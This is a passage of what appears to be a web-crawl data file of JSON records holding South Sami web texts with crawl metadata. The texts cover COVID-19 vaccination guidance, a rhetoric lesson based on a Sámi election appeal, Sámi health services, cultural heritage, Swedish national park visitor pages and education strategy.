firstname.lastname@example.org.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/samimag.no\/nb\/gpdr-2\/","date":"2022-07-01T04:07:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103920118.49\/warc\/CC-MAIN-20220701034437-20220701064437-00497.warc.gz","language":"sma","language_score":0.9998749495,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9998749494552612}","num_words":1356,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dïhte dov regiovne mij dïedtem vaksinasjovnen åvteste åtna. Veeljh regiovnem bijjemes sæjrosne guktie vielie bïevnesh åadtjoeh mij faamosne gusnie datne leah.\nDatne ih daarpesjh maeksedh vaksijnasjovnen åvteste covid-19:n vööste.\nDatne jïjtje veeljh jis edtjh vaksineeredh.\nBïevnesh daan tjaaleginie dovne maanide jïh geerve almetjidie.\nGuktie darjoem jis vaksijnem sïjhtem?\nGaajhkide almetjidie gïeh 12 jaepieh illeme vaksinasjovnem faalehte. Naan maanah båarasåbpoe 5 jaepeste maehtieh aaj vaksijnem covid-19 vööste åadtjodh.\nAaj dutnjien mij asylem ohtsedh jallh luhpehts Sveerjesne årroeh namhtah vaksijnem faalehte. Daate aaj dutnjien mij Sveerjesne lohkh jallh barkh jïh ih leah sveerjen otnjege.\nDatnem juvnehte vaksineeredh læjhkan jis covid-19:m utnih.\nNaemhtie vaksineeredh\nDatne vaksijnem stratjkine gïetese åadtjoeh. Datne mij lea 18 jaepieh jallh båarasåbpoe golme jallh njieljie stratjkh åadtjoeh. Dellie åadtjoeh dejtie ovmessie tsiehkine.\nVaeltieh gaajhkh dah stratjkh mah dutnjien faala. Dellie åadtjoeh buerie vaarjelimmiem covid-19 vööste.\nDatne åadtjoeh desnie 15 minuhth årrodh gosse dov stratjkem åådtjeme. Dïhte dan gaavhtan datnine hijven.\nDatne mij ålvas nåake immunevaarjelimmie maahtah gellie veahkah vaksijneste daarpesjidh. Dov dåaktere daam nænnoste.\nDatne ih maehtieh veeljedh mij vaksijnide datne åadtjoeh.\nGihtjh hoksebarkijidie jis dov naan gyhtjelasside vaksijnen bïjre.\nMaahtah vaksineeredh gosse skïemtjes?\nDatne ih edtjh vaksineeredh jis dov lea vaejlie jallh skïemtjedh. Vuertieh goske vervies vihth.\nGuktie mannine mænngan?\nKaanne dov gïete baektjede, åejjieh saejriedieh jïh sæjloes sjïdth voestes dygnem vaksinasjovnen mænngan. Datne maahtah aaj gåalodh, vaejliem åadtjodh jallh lïhtsh jïh åedtjieh löökieh. Dïhte lea maam gohtje lissiedåårrese jïh sïejhme dovne maanide jïh geerve almetjidie mah vaksijnem åådtjeme.\nLissiedåårresisjstie lijnies vaejvieh jïh naan biejjiej mænngan dah buaranieh.\nOvsïejhme lissiedåårresh vaksinasjovneste\nGellie millijovnh almetjh leah covid-19:n vööste vaksineereme. Ov-sïejhme leah itjmies lissiedåårresinie vaksinasjovnen mænngan. Dïhte stuerebe vaahra itjmies skïemtjedh covid-19:n skïemtjelassesne.\nReektehth lissiedåårresh vaksijneste\nDatne maahtah åejvieladtjese Läkemedelsverket reektehtidh jis datne sovmh vaejvieh vaksijneste sjidtieh. Sæjroe sveerjen gïelesne.\nAaj hoksebarkijh reektehtieh jis dah suvmieh lissiedåårresh vaksijneste sjidtieh.\nBïevnesh sovmeme lissiedåårresi bïjre tjåanghkenieh. Dan mænngan goerehtieh jis dah leah vaksijneste.\nJis nåajsan jïh vaksinasjovne\nDatne mij nåajsan maahtah itjmies skiemtjine sjïdtedh. Guktie datnem jïh maanam vaarjelidh raereste vaksinasjovnem. Gellie nåajsan nyjsenh leah vaksijnem covid-19:n vööste åådtjeme veartanisnie. Dïhte ij leah vaahreles maanese tjåejjesne.\nSoptestellieh dov tsegkietnine jis dov naan gyhtjelassh.\nMaana jïh vaksinasjovne\nMaanah maehtieh itjmies skïemtjedieh covid-19:n skïemtjelassine, vaallah ij leah dan sïejhme. Maanide 12 jaepien båeries jallh båarasåbpoe aaj vaksijnem faalehte.\nNaan maanah 5 jaepiej raejeste maehtieh aaj vaksijnem åadtjodh covid-19 vööste. Jis maana itjmies skïemtjelassem åtna. Maahta vuesiehtimmien gaavhtan itjmies gåbloehtasse-skïemtjelasse. Soptestellieh dåaktarinie mij maanam gïetede.\nAlmetjh nuerebe 18 jaepeste maehtieh dåhkasjehtemem dej åelijste daarpesjidh jis vaksijnem sijhtieh. Bïeljelh naakenem sijjesne gusnie sïjhth vaksineeredh, jis ih dåhkasjehtemem utnieh.\nDatne mij aarebi allergijen reaksjovnem åådtjeme\nSoptsestellieh dåaktarinie jis datne aarebi ålvas allergijen reaksjovnem åådtjeme guktie tjoerih hoksem ohtsedidh seamma biejjien. Dah maehtieh årrodh vaksinasjovneste, daalhkesistie vuj maam akt maam byöpmedih.\nVaksijne lea eensilaakan vååksjeme\nVaksijne covid-19:n vööste lea vååksjeme seamma buerie vuekine goh mubpieh vaksijnh. Milijovnh geerve almetjh jïh maanah leah vaksijnem åådtjeme jïh dotkijh leah dah effekth goerehtamme. Ennje vaksijnem goerehtieh.\nSæjrosne Så fungerar vaccin maahtah lohkedh jïh filmh vuejnedh vaksijnen bïjre. Sæjroe sveerjen gïelesne.\nDatne maahtah covid-19 åadtjodh vaallah leah vaksineereme. Mohte jeanatjommesh dejstie eah itjmies skïemtjedh.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.1177.se\/sma-se\/Blekinge\/other-languages\/other-languages\/covid-19\/vaccin-sydsamiska\/","date":"2022-08-16T18:34:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572515.15\/warc\/CC-MAIN-20220816181215-20220816211215-00563.warc.gz","language":"sma","language_score":0.9999966621,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999966621398926}","num_words":505,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daelie edtjebe lïhkebe aktem politihkeles appellem vuartasjidh, mij dam retorihkeles maadth-bïhkedassem naa hijvenlaakan vuesehte.\nDisposisjovne aktene appellesne\nEannan saemiedigkie-veeljeme Jaepien 2017, dellie NSR appellem åvtehkinie Aili Keskitalo darjoeji.\nVuartesjh Aili Keskitalon appellem, jïh lohkh appellem åarjel-saemien gïelesne:\nJaepien 2017 mijjieh NSR:sne veeljemasse vaedtsebe ektie soejkesjigujmie jïh tjoevtenjigujmie mah gaajhkesh mijjem nænnoestehtieh saaht gusnie årrobe.\nDaejrebe mijjieh tjoerebe ektesne tjåadtjodh goh åålmege dej mubpiej jaepiej juktie raerieh gaavnedh saemien åålmegen haestiemidie. Mijjieh edtjebe dam saemien laavenjostoem abpe Saepmesne nænnoestehtedh laanteraastaj rastah.\nNSR edtja tjirkijinie årrodh guktie Saemiedigkie tsåatskelesvoetem steerie dejtie vihkielommes reakta-aamhtesidie Saepmesne.\nBiejjieladtje mijjieh goh åålmege mijjen reaktaj åvteste gæmhpobe juktie mijjen kultuvrine gïehtelidh, mij båatsoem, jåartaburriem, göölemem jïh miehtjie-åtnoem feerhmie.\nNSR edtja eevtjedh guktie Saemiedigkie tjïelkebe aktöörine sjædta saemiej reaktaj åvteste.\nManne garmerdem juktie mijjen skraejrien gaavhtan dellie saemien gïele-moenehtse tseegkesovvi mij NBS Vaajmoe-gïelem deelli. Mijjese akte åejvie-laavenjasse sjædta daejnie guhkiebasse barkedh saemiedigkien bieleste dej mubpiej jaepiej, jïh dellie daerpies aktine tjïelke Saemiedigkine juktie hoksedh åejvieladtjh dam bæjjese fulkieh.\nMijjen geajnosne båetijen aejkien Saepmien vööste, maam ektesne bigkebe, dellie mijjieh goh åålmege jïh aktegsalmetjh tjoerebe nuepiem åadtjodh åvtetje aejkien saejrieh mijjen duakan laehpedh. Daesnie saetniesvoete- jïh måahtadimmiekommisjovnen barkoe joekoen vihkeles. Mijjen leah tjïelke soejkesjh guktie daate prosesse byöroe dorjesovvedh.\nNSR mahte 50 jaepieh dååjrehtimmiem åtna saemien åålmegen aamhtesen åvteste gæmhpodh. Daelie manne jïh abpe NSR mandaaten bïjre birrebe juktie dov aamhtesen åvteste gæmhpodh Saemiedigkien tjïrrh dej mubpiej jaepiej, jïh mijjieh gegkiestibie datne sïjhth vuarjasjidh dov steemmam mijjese vedtedh.\nBuerie veeljeme!\nRetorihken maadth-bïhkedasse:\n- Aalkoe (exordium)\n- Aamhtese-buerkiestimmie (narratio)\n- Argumentasjovne (argumentatio)\n- Galhkuve (peroratio)\nExordium (aalkoe)\nAalkoe-boelhke joekoen åenehke. Ij leah iktesth akte håalije maahta ryöktesth aamhtesen bïjre soptsestidh (daate sæjhta jiehtedh mahte ryöktesth narratio).\nNarratio (aamhtese-buerkiestimmie)\nBaakoe narratio ij ajve sïjhth jiehtedh «aamhtese-buerkiestimmie», men aaj «histovrije, soptsese». Akte sïejhme retorihkeles vuekie lea aamhtesem åehpiedehtedh goh akte histovrije mij vaestiedassem vadta gyhtjelassese «Guktie daan tseahkan båateme maam edtjebe daelie digkiedidh?»\nArgumentatio (argumentasjovne)\nGåalmadinie bielesne, argumentatito, håaloje lea bååstede daaletje tïjjen. Dïhte dejtie vihkielommes tsiehkide neebnie. Dïhte åenehks håaleme-tïjje ij baajh naan veele argumentasjovnem hööltedh.\nPeroratio (galhkuve)\nDaamhtah håaloje haestieminie goltelæjjide orreje. Galhkuve lea biehkie åehpiedehtiemistie maam goltelæjjah bööremes mujhtieh, jïh dannasinie tjuara dam veele soejkesjidh.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ndla.no\/nb\/subject:1:a532138d-e16a-4046-a46e-bd5bc9487b8b\/topic:3:181662\/topic:2:182394\/resource:1:181594","date":"2022-08-11T12:43:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571284.54\/warc\/CC-MAIN-20220811103305-20220811133305-00227.warc.gz","language":"sma","language_score":0.9999957085,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999957084655762}","num_words":349,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saaht magkeres healsoeviehkiem datne daarpesjh, maahta ryöktesth skïemtjesåjhterinie saemien healsoedåehkesne gaskesadtedh. Skïemtjesåjhtere datnem viehkehte reaktoe healsoebarkijh gaavnedh mej sjïere maahtoe saemien gïelen jïh kultuvren bïjre – dåakterejarngesne, skiemtjehïejmine, hïejmedïenesjisnie, healsoestasjovnesne maanide jïh noeride jïh psykiske healsoen jïh geeruvevoeten goevtesisnie.\nDatne maahtah gaskesadtedh:\nRørosen dåakterejarngesne saemien dåaktere lea stïeresne 4 aejkieh jaepien 2021\/2022.\nGellie fåantoeh man åvteste maanah jïh geerve almetjh mijjem gaskesedtieh. Maahta årrodh ålkolen domtedh, irhkemem dååjredh, haestemh utnedh identiteeten jïh jïjtjeseahkarimmien bïjre. Jallh datne raerieh jïh bïhkedimmiem sïjhth jïjtse jieleden, fuelhkieterapijen jallh eejhtegebïhkedimmien bïjre.\nMaahtah oktegh båetedh jallh fuelhkine, voelpine, healsoesåjhterinie, lohkehtæjjine ektine jallh giejnie datne sïjhth.\nIh daarpesjh saehtemem dåaktaristie utnedh. Maahtah ryöktesth mijjem fuelhkieterapeevtem gaskesadtedh.\nMijjen skïemtjesåjhtere jïh fuelhkieterapeevte lea stïeresne learoehkidie dovne noereskuvlesne jïh jåarhkeskuvlesne fïerhten bearjadahken.\nE-læringskurset: «Sørsamiske forhold og helse»\nEt kurs for deg som jobber innen helse- og omsorgsyrker, som gir grunnleggende kunnskap om samiske samfunnsforhold, historie, tverrkulturell kommunikasjon og forståelse. Andre kan også ha nytte av kurset. Les mer om e-læringskurset: «Sørsamiske forhold og helse»","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/roros.kommune.no\/helse-og-omsorg\/saemien-healsoedaehkie\/","date":"2022-08-20T02:07:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573876.92\/warc\/CC-MAIN-20220820012448-20220820042448-00414.warc.gz","language":"sma","language_score":0.9999563694,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999563694000244}","num_words":161,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien kultuvremojhtesh - definisjovnhSaemien kultuvremojhtesh leah aalkovisnie gaajhkh gïejh mah leah saemien årroemasse ektiedamme stoerre bieline daan beajjetje Nöörjeste.Saemiej ahkedh åtnoen gaavhtan årromedajvijste jeenjesh dejstie båarasommes kultuvremojhtesijstie daejnie dajvine maehtieh vuesiehtimmine årrodh saemien åvtehistovrijasse. Saemiedigkie læjhkan ajve reeremedïedtem åtna kultuvremojhtesi åvteste mah leah åehpies histovrijes gaaltiji jïh njaalmeldh aerpievuekiej tjïrrh, jallh dotkemeilledahkh vuesiehtieh dah sån saemien histovrijem jïh åvtehistovrijem vihtiestidh. Maahta aaj kultuvremojhtesh tjïelkestidh goh dej lea ektiedimmie saemien åvtehistovrijasse, dsj. dah leah fysiske gïejh dejstie prosessijste mah leah dejtie histovrijes åehpies saemien kultuvrevæhtide buakteme jïh guhkiebasse daan beajjetje kultuvrese. 1900-låhkoen raajan saemieh idtjin jïjtsh tjaalege-aerpievuekiem utnieh. Doh aaremes tjaaleldh gaaltijh saemien histovrijasse leah jeenjemasth tjaalasovveme gyrhkeles tjåadtjoehtæjjijste jallh staateles åejvieladtjijste. Saemien åvtetïjje jïjtse dotkemesuerkie sjïdti arkeologide easkah 1980-låhkoen aalkoven raejeste. Dan åvteste annje jïjnje maam ibie daejrieh saemien åvtetïjjen bïjre.Saemien kultuvremojhtesh 1919 raejeste jallh båarasåbpoe leah jïjtsistie vaarjelamme. Dah leah vaarjelamme gaajhki råajvarimmiej vööste mah maehtieh skaaram darjodh, eerjedh jallh ovsjïehteles skeemmedh. Kultuvrebyjrese lea dajve gusnie kultuvremojhtesh leah stuerebe elliesvoetesne jallh ektiedimmesne. Nomme lea synonyjme baakojne kultuvreeatneme. Daesnie kultuvremojhtesh mah seamma kultuvrese, åtnoeboelhkese jallh funksjovnese govlesuvvieh. Maahta aaj kultuvremojhtesh årrodh joekehts aaltarinie jïh vaarjelimmiestatusinie. Kultuvrebyjrese maahta aaj dajve årrodh histovrijes heannadimmiejgujmie, jaahkojne jallh aerpievuekiejgujmie.Kultuvrebyjrese uvtemes njoelkedassh vadta guktie edtja daejtie dajvide reeredh, gusnie ektiedimmie kultuvremojhtesi gaskem ij byörh tsoepkenidh. Daan beajjetje kultuvremojhtesereereme aajkojne åtna kultuvremojhtesidie vaarjelidh sijjen ektiedimmesne.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/sametinget.no\/kultuvremojhtese-jih-gaetievaarjelimmie\/saemien-kultuvremojhtesh-jih-eatneme\/mij-saemien-kultuvremojhtesh\/","date":"2022-08-17T23:21:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573118.26\/warc\/CC-MAIN-20220817213446-20220818003446-00444.warc.gz","language":"sma","language_score":1.0000019073,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000019073486328}","num_words":217,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juakasovveme Bertije Bivrost AS Bufdir Viken Filmsenter Ekstra stiftelsen Vaadtasovvemejaepie 2020 Faage Beapmoe jïh healsoe Eatnemefaage KRJL Daltese Maanagïerte 1-4 Giele Julevsaemiengïele Noerhtesaemiengïele Åarjelsaemiengïele Reakta-aajhtere Bivrost AS Bufdir Viken Filmsenter Ekstra stiftelsen Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Kultuvre Filme Aarhte jïh daajroe Healsoe Siebriedahke Skuvle jïh ööhpehtimmie Viehkiebaakoe Bolle Animasjovnejielijeguvvie Seksualiteete Repmie","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ovttas.no\/sma\/filbma_aellieh-miedtieh-mov-vooste","date":"2022-08-12T05:34:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571584.72\/warc\/CC-MAIN-20220812045352-20220812075352-00603.warc.gz","language":"sma","language_score":0.9979367256,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9979367256164551}","num_words":51,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ståapojne jïjjedidh\nNasjonaaleparhkesne göökte ståapoeh gusnie maahtah jïjjedidh: Angsjökojan jïh Svärmorskojan. Desnie maahtah namhtah jïjjedidh.\nVásádusá birra\nAngsjökojan\nStåapoe Angsjön gaedtiebealesne. Dåeredh rööpses baalkam vuestie-biejjien jïh dellie ajve medtie kilomeetere ståapose tjaangemesijjeste Angsjö.\nAngsjökojan lea tïmperegåetie bietseste jïh dam bigkeme eensi materijaalijste jïh aerpievuekien mietie, sjïere Västerbottenistie jïh Saepmeste.\nSvärmorskojan\nBuerie båeteme dan tjaebpies sæjjan nasjonaaleparhkesne. Ståapoe Svärmorstjärnen gaedtiebealesne kruana baalkan mietie.\nSvärmorskojan lea tïmpereståapoe goeseste jïh dam bigkeme eensi materijaalijste jïh aerpievuekien mietie, sjïere Västerbottenistie jïh Saepmeste.\nDïhte namhtah jïjjedidh\nIj maehtieh ståapojde jallh seangkoeh dængkodh. Jis ståaposne dïeves dellie guessieh edtjieh orre guessieh bööredh jïh dejtie sijjiem vedtedh. Jïjjen mænngan dellie orre guessiej våaroe jïjjedidh.\nTjåenieh\nGåabpatjahkh ståapojne leah göökte seangkoeh gusnie sijjie govhte almetjidie jieveginie jïh dåvnine. Gååvnesieh aaj göökte madrassh jïh sijjieh guelpesne.\nStåapojne naan tjåenieh. Desnie kåalhta, prïhtjhgiebnie jïh krovhte jïh tjoevkesejuelkieh. Vaeltieh meatan tjoevkesh jïh såarah. Sjeakoeh dov minngesne jïh vaeltieh tsumhtsie meatan gåatan.\nVuabnan dallem bïejedh\nJis ih leah aarebi vuebnien sisnie dallem bïejeme, darjoeh guktie bïhkedibie tjaalegisnie vïedtjesne. Aelkieh bissiem tsihkestahtah jïh gïesh dam oksetjem vuebnien nuelesne. Gosse aalka bueledh maahtah dallem bïejedh moeresijjesne.\nTjaetsiem jovkedh\nJaevriej jïh johki tjaetsie leah humusen klaerie, mohte datne maahtah gujht dam jovkedh. Datne maahtah aaj jovkemetjaetsiem veedtjedh gaaltijistie mij lea Angsjöen tjaangemesijjien lïhke jallh daelvien lopmh sjalkedh.\nTjoehph dov jïjtje moerh\nMujhtieh moerh tjoehpedh jïh gaaroestidh båetije guesside. Årroeh mojhteleslaakan gosse moerh tjoehph jïh aellieh baajh maanah oktegh moerh sååkesjidh jallh tjoehpedh.\nFotogentjoevkesh\nStåapojne fotogentjoevkesh. Nuhtjh dejtie soejmielaakan jïh dellie dah tjuevkieh ståapojne gellie sjuevnjedh iehkedh.\n- Ájgge\n-\nÅlles jagev\n-","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.nationalparksofsweden.se\/smj\/vallji-suoddjimparkav\/bjornlandet-suoddjimparkka\/Upplevelser\/staapojne-jijjedidh\/","date":"2022-08-09T17:24:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571056.58\/warc\/CC-MAIN-20220809155137-20220809185137-00699.warc.gz","language":"sma","language_score":1.0000004768,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000004768371582}","num_words":254,"character_repetition_ratio":0.049,"word_repetition_ratio":0.024,"special_characters_ratio":0.135,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjoejkedh\nBjörnlanden nasjonaaleparhke lea sjaavohth roene eatnamisnie. Daesnie datne maahtah raeffesne jïh sjaavohthvoetesne tjoejkedh jïh nikth eatnemen tjoejh.\nVásádusá birra\nNasjonaaleparhkesne tjoejkedh\nDaelvien bööremes plueviej Angsjön bïjre jïh Björkbäcken mietie tjoejkedh. Ih naan laategh, men kaanne skovhteregïejh gååvnesieh ståapojde gosse dah leah moerh dohkoe buakteme.\nSjuevnjedstïjje tjaebpies daelvieeatnamisnie. Såemies aejkien askedibie dan tjoevkes guktie maahta tjoejkedh. Geehtedh jis johkh eah leah såavome.\nAngsjöståapotjisnie jïjjedidh\nAngsjökojan lea sjïehteles jis jeenjemes 8 almetjh edtjieh jïjjedidh jallh ajve goh lïegkedimmiesijjie.\nIdie åadtjoeh skovhterem vuejedh\nIj åadtjoeh eatnamisnie vuajadahkide vuejedh. Jis gïejh skovhteristie vuajnah dellie båatsoealmetjh jallh gorredimmiebarkijh desnie vuajeme. Vuesiehtimmieh dah moerh Angsjökojan gåajkoe buektieh.\n- Ájgge\n-\nDaelvie jïh gïjredaelvie\n- Sierralágásj räjddo\n-\nHijven gamte treavkah utnedh gosse skåajjesne tjoejkedh.\n- Ietjá\n-\nGeajnoeh baelieh: dah geajnoeh tjaangemesæjjan Angsjö jïh tjaangemesæjjah Häggsjö daelvien mietie baelieh. Gïjren tjarve lea hijven tjoejkemedaelhkie!","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.sverigesnationalparker.se\/smj\/vallji-suoddjimparkav\/bjornlandet-suoddjimparkka\/Upplevelser\/tjoejkedh\/","date":"2022-08-15T22:09:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572212.96\/warc\/CC-MAIN-20220815205848-20220815235848-00713.warc.gz","language":"sma","language_score":0.999989748,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999897480010986}","num_words":132,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juakasovveme Tjaelije Sámi Giellatekno Bertije Universitetet i Tromsø Faage Saemien 1 Saemien 2, 3 jïh 4 Daltese 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Daaroengïele Formaate Gaskeviermiesæjroe Reakta-aajhtere Universitetet i Tromsø Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Aarhte jïh daajroe IT\/teknologije Saemiengïele Baakoegærjah Grammatihke Viehkiebaakoe Baakoegærja Jarkosth","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_noerhtesaemien-web-baakoegaerja","date":"2022-09-27T02:28:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030334974.57\/warc\/CC-MAIN-20220927002241-20220927032241-00747.warc.gz","language":"sma","language_score":0.9980809093,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9980809092521667}","num_words":41,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ektie årgaane saemien nasjonaale symbovlh reerie jïh evtede Saemien parlamentarihkeles raerie jïh Saemieraerie leah ektie årgaanem tseegkeme mij saemien nasjonaale symbovlh reerie jïh evtede. Ektieårgaanen mandaate lea njoelkedassh raeriestidh reeremen bïjre saemien nasjonaale symbovlijste, jïh vuarjasjidh mejtie saemien nasjonaale symbovlide dagkerh njoelkedassh edtjieh faamosne årrodh. Saemien parlamentarihkeles raerien tjaelemegoevtese aaj tjaelemelaavenjassh moenehtsen åvteste dorje. Moenehtsisnie daah lïhtsegh: Åvtehke: Lars Jonas Johansson, Sveerjen Saemiedigkie Pirita Näkkäläjärvi, Soemen Saemiedigkie Ann Karin Kvernmo, Nöörjen Saemiedigkie Ol Johan Gaup, Saemieraerie Anna Igontova, Saemieraerie Lars Anders Baer, Saemieraerie ArtikkelPublisertDatoFront 07.09.2020 13.37 SistEndret 20.09.2022 09.10","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/sametinget.no\/politihke\/politihkeles-oornedimmie-jih-stuvreme\/saemien-parlamentarihkeles-raerie-spr\/ektie-argaane-saemien-nasjonaale-symbovlh-reerie-jih-evtede\/","date":"2022-10-05T12:41:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337625.5\/warc\/CC-MAIN-20221005105356-20221005135356-00198.warc.gz","language":"sma","language_score":0.9984636307,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9984636306762695}","num_words":85,"character_repetition_ratio":0.122,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.165,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juvrh dajvesne\nVuejnieh jïh govlh Björnlandesne! Gååvnesieh gujht gellie ovmessie juvrh nasjonaaleparhkesne men tjoerh sjeavohth jïh tsåatskeles årrodh.\nLedtieh beetsetjisnie\nGujht hijven nuepie ledtieh vuejnedh goh tjåktjah, gåehpelh jïh goeksegh. Naan aejkien aaj jeatjah ladtetjh. Stuerebe moeretsöölhkh sïejhme jïh muvhten aejkien aaj golmetjiehtjerh moeretsöölhke. Sjïere gïjren jïh gïjregiesien leah jïjnjh ledtieh aaj Angsjönen lïhke, dellie njoktjh jïh tjåerkieh jïh dan mænngan gellie ovmessie såarhth ladtetjh.\nÅhtehtsh hijven utnieh daesnie\nEktesne medtie 1100 åhtehtshaarhth jïh jeatjah åhtehtsh gååvnesieh parhkesne. Gååvnesieh gellie ovmessie rïevtegh mej gïejh maahtah vuejnedh bietsine. Rïevtegh leah vuajneme medtie 100 ovmessie sijjine parhkesne.\nJuvrh goerehtidh\nDaelvien maahtah gellie ovmessie gïejh vuejnedh, desnie åeruve, njåemele, riepie, sarve jïh bovtse, kaanne aaj maarhte, råate jïh gierhkie. Dah unnemes juvrh aaj murriedieh Björnlanden gierkiej gaskem. Aaj sluemegh jïh snjearah desnie. Ih maehtieh såaja-snjearan gïejh vuejnedh, men dah aaj nasjonaaleparhkesne.\nJuoge ietjat rádnaj\nJuoge dáv bielev ietjat rádnaj Facebookan, Twitterin, Google+ ja mailajn.","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/sverigesnationalparker.se\/smj\/vallji-suoddjimparkav\/bjornlandet-suoddjimparkka\/suoddjimparkkadiedo\/juvrh-dajvesne\/","date":"2022-10-03T09:14:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337404.30\/warc\/CC-MAIN-20221003070342-20221003100342-00449.warc.gz","language":"sma","language_score":0.9999959469,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999959468841553}","num_words":149,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.134,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Strategijh jïh ulmie\nÅejviestrategijh\nBïevn. St. 18 golme strategijine bigkie, juktie haestiemidie jïh nuepide vuesiehtidh, guktie ööhpehtimmiesysteme maahtoem åtna dejtie gelliesåarhts maanide, noeride jïh geerve almetjidie dåastodh sjïere lïerehtimmiedaerpiesvoetigujmie.\nDah strategijh lea akte våarome juktie Statpeden ulmieh, råajvarimmieh jïh effektem buerkiestidh.\nVueptiestidh – dåarjoehtidh\nAareh råajvarimmie akte vihkeles prinsihpe lïerehtimmesne. Akte tjïelkebe barkoejoekedimmie Statpeden jïh tjïelten jallh fylhkentjïelten dïenesji gaskem lea eevre daerpies ihke reaktoe maahtoe edtja reaktoe sijjesne årrodh reaktoe tïjjen. Statped edtja tjïelti jïh fylhkentjïelti barkoem dåarjoehtidh, jïh viehkiehtidh guktie maahtoe evtiesåvva maanagïertine, skuvline jïh PP-dïenesjisnie.\nUlmiestuvreldh maahtoe – nænnoesåbpoe illedahke\nStatped edtja öörnesovvedh naemhtie guktie dïhte akten buerebe laavenjostose sjïehteladta ovmessie faagebyjresi gaskem, jïh elliesvoetem DoE-barkosne sjugnede. Statped edtja viehkine årrodh dam tseegkeme daajroem guhkiebasse evtiedidh, jïh dotkeminie jïh evtiedimmine nïerhkedh gosse orre daerpiesvoeth. Akte tjåenghkies nasjovnaale etaate sæjhta aktem hijven bijjieguvviem jïh aktem ulmiestuvreldh maahtoeevtiedimmiem 